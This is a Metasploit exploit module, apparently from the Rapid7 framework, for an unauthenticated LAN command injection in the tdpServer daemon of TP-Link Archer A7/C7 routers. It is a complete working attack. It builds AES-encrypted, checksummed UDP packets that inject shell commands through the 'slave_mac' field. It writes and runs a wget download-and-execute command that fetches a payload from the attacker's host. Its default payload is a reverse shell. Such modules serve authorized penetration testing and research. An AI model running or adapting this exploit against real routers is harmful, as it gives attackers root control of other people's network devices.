modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
as root, including downloading and executing a binary from another host.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
This module was updated in November 2020, after a bypass was discovered for the patch TP-Link issued. The new
injection technique works on older firmware too. All firmware versions up to (but excluding) releases 201029 and
201030 are exploitable.
},
'License' => MSF_LICENSE,
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2020/minesweeper.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2020/minesweeper.md'],
[ 'CVE', '2020-10882'],
[ 'CVE', '2020-10883'],
[ 'CVE', '2020-10884'],
[ 'CVE', '2020-28347'],
[ 'ZDI', '20-334'],
[ 'ZDI', '20-335'],
[ 'ZDI', '20-336' ]
],
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 15
},
'Targets' => [
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware up to 201029/30)', {} ]
],
'DisclosureDate' => '2020-03-25',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options(
[
Opt::RPORT(20002)
]
)
register_advanced_options(
[
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
]
)
end
def check
vuln_versions = [
# older versions not listed here are also vulnerable
'app.1575358240615.manifest', # A7 191203
'app.1582117229115.manifest', # A7 200220
'app.1595301495454.manifest', # A7 200721
'app.1564127413977.manifest', # C7 190726
'app.1593336984117.manifest', # C7 201030
]
fixed_versions = [
'app.1603185012713.manifest', # A7 201029
'app.1603240096315.manifest' # C7 201030
]
begin
for version in vuln_versions
res = send_request_cgi({
'uri' => "/webpages/#{version}",
'method' => 'GET',
'rport' => 80
})
if res && res.code == 200
return Exploit::CheckCode::Vulnerable
end
end
for version in fixed_versions
res = send_request_cgi({
'uri' => "/webpages/#{version}",
'method' => 'GET',
'rport' => 80
})
if res && res.code == 200
return Exploit::CheckCode::Safe
end
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
end
def calc_checksum(packet)
# reference table used to calculate the packet checksum
# used by tdpd_pkt_calc_checksum (0x4037f0)
# located at offset 0x0416e90 in the binary
reference_tbl = [
0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d
]
res = 0xffffffff
# main checksum calculation
packet.each_entry do |c|
index = ((c ^ res) & 0xff) * 4
# .reverse is needed as the target is big endian
ref = reference_tbl[index..index + 3].reverse.pack('C*').unpack1('L')
res = ref ^ (res >> 8)
end
checksum = ~res
checksum_s = [checksum].pack('I>').force_encoding('ascii')
# convert back to string
packet = packet.pack('C*').force_encoding('ascii')
# and replace the checksum
packet[12] = checksum_s[0]
packet[13] = checksum_s[1]
packet[14] = checksum_s[2]
packet[15] = checksum_s[3]
packet
end
def aes_encrypt(plaintext)
# Function encrypts perfectly 16 bytes aligned payload
if (plaintext.length % 16 != 0)
return
end
cipher = OpenSSL::Cipher.new 'AES-128-CBC'
# in the original C code the key and IV are 256 bits long... but they still use AES-128
iv = '1234567890abcdef'
key = 'TPONEMESH_Kf!xn?'
encrypted = ''
cipher.encrypt
cipher.iv = iv
cipher.key = key
# Take each 16 bytes block and encrypt it
plaintext.scan(/.{1,16}/) do |block|
encrypted += cipher.update(block)
end
encrypted
end
# rubocop:disable Naming/MethodParameterName, Style/FormatStringToken
def create_injection(c, literal: false)
# Template for the command injection
# The injection happens at "slave_mac" (read advisory for details)
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
# This will fail if we send a command with single quotes (')
# ... but that's not a problem for this module, since we don't use them for our command.
# It might also fail with double quotes (") since this will break the JSON...
if literal
inject = c
else
inject = "\'`printf \'#{c}\'>>#{@cmd_file}`\'"
end
template = '{"method":"slave_key_offer","data":{'\
"\"group_id\":\"#{rand_text_numeric(1..3)}\","\
"\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
'"slave_mac":"%{INJECTION}",'\
"\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
"\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
'"want_to_join":false,'\
"\"model\":\"#{rand_text_alpha(5..13)}\","\
"\"product_type\":\"#{rand_text_alpha(5..13)}\","\
'"operation_mode":"A%{PADDING}"}}'
# This is required to calculate exact template length without replace flags
template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
# This has to be initialized to cover the situation when no padding is needed
pad = ''
padding = rand_text_alpha(16)
template_len += inject.length
# Calculate pad if padding is needed
if (template_len % 16 != 0)
pad = padding[0..15 - (template_len % 16)]
end
# Here the final payload is created
format(template, INJECTION: inject.to_s, PADDING: pad.to_s)
end
# rubocop:enable Naming/MethodParameterName, Style/FormatStringToken
def update_len_field(packet, payload_length)
new_packet = packet[0..3]
new_packet += [payload_length].pack('S>')
new_packet += packet[6..]
new_packet
end
def exec_cmd_file(packet)
# This function handles special action of exec
# Returns new complete tpdp packet
inject = "\'`sh #{@cmd_file}`\'"
payload = create_injection(inject, literal: true)
ciphertext = aes_encrypt(payload)
if !ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
new_packet = packet[0..15]
new_packet += ciphertext
new_packet = update_len_field(new_packet, ciphertext.length)
calc_checksum(new_packet.bytes)
end
# Handle incoming requests from the router
def on_request_uri(cli, _request)
if !@payload_sent
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end
end
def exploit
if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end
if datastore['SSL']
fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it')
end
print_status("Attempting to exploit #{target.name}")
tpdp_packet_template =
[0x01].pack('C*') + # packet version, fixed to 1
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table
[0x00].pack('S>*') + # packet len
[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
[0x00].pack('C*') + # dunno what this is
[rand(0xff), rand(0xff), rand(0xff), rand(0xff)].pack('C*') + # serial number, can by any value
[0x5A, 0x6B, 0x7C, 0x8D].pack('C*') # Checksum placeholder
srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
payload_file = rand_text_alpha_lower(1)
# generate our payload executable
@payload_exe = generate_payload_exe
# Command that will download @payload_exe and execute it
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}"
http_service = "http://#{srv_host}:#{srv_port}"
print_status("Starting up our web service on #{http_service} ...")
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => "/#{payload_file}"
}
})
print_status("#{peer} - Connecting to the target")
connect_udp
print_status("#{peer} - Sending command file byte by byte")
print_status("#{peer} - Command: #{download_cmd}")
mod = download_cmd.length / 5
download_cmd.each_char.with_index do |c, index|
# Generate payload
payload = create_injection(c)
if !payload
fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
end
# Encrypt payload
ciphertext = aes_encrypt(payload)
if !ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
tpdp_packet = tpdp_packet_template.dup
tpdp_packet += ciphertext
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
tpdp_packet = calc_checksum(tpdp_packet.bytes)
udp_sock.put(tpdp_packet)
# Sleep to make sure the payload is processed by a target
Rex.sleep(1)
# Print progress
if ((index + 1) % mod == 0)
percentage = 20 * ((index + 1) / mod)
# very advanced mathemathics in use here to show the progress bar
print_status("#{peer} - [0%]=#{' =' * ((percentage * 2 / 10 - 1) - 1)}>#{' -' * (20 - (percentage * 2 / 10))}[100%]")
if percentage == 100
# a bit of cheating to get the last char done right
# rubocop:disable Lint/UselessAssignment
index = -2
# rubocop:enable Lint/UselessAssignment
end
# print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
end
end
# Send the exec command. From here we should receive the connection
print_status("#{peer} - Command file sent, attempting to execute...")
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
udp_sock.put(tpdp_packet)
timeout = 0
until @payload_sent
Rex.sleep(1)
timeout += 1
if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
end
end
disconnect_udp
end
end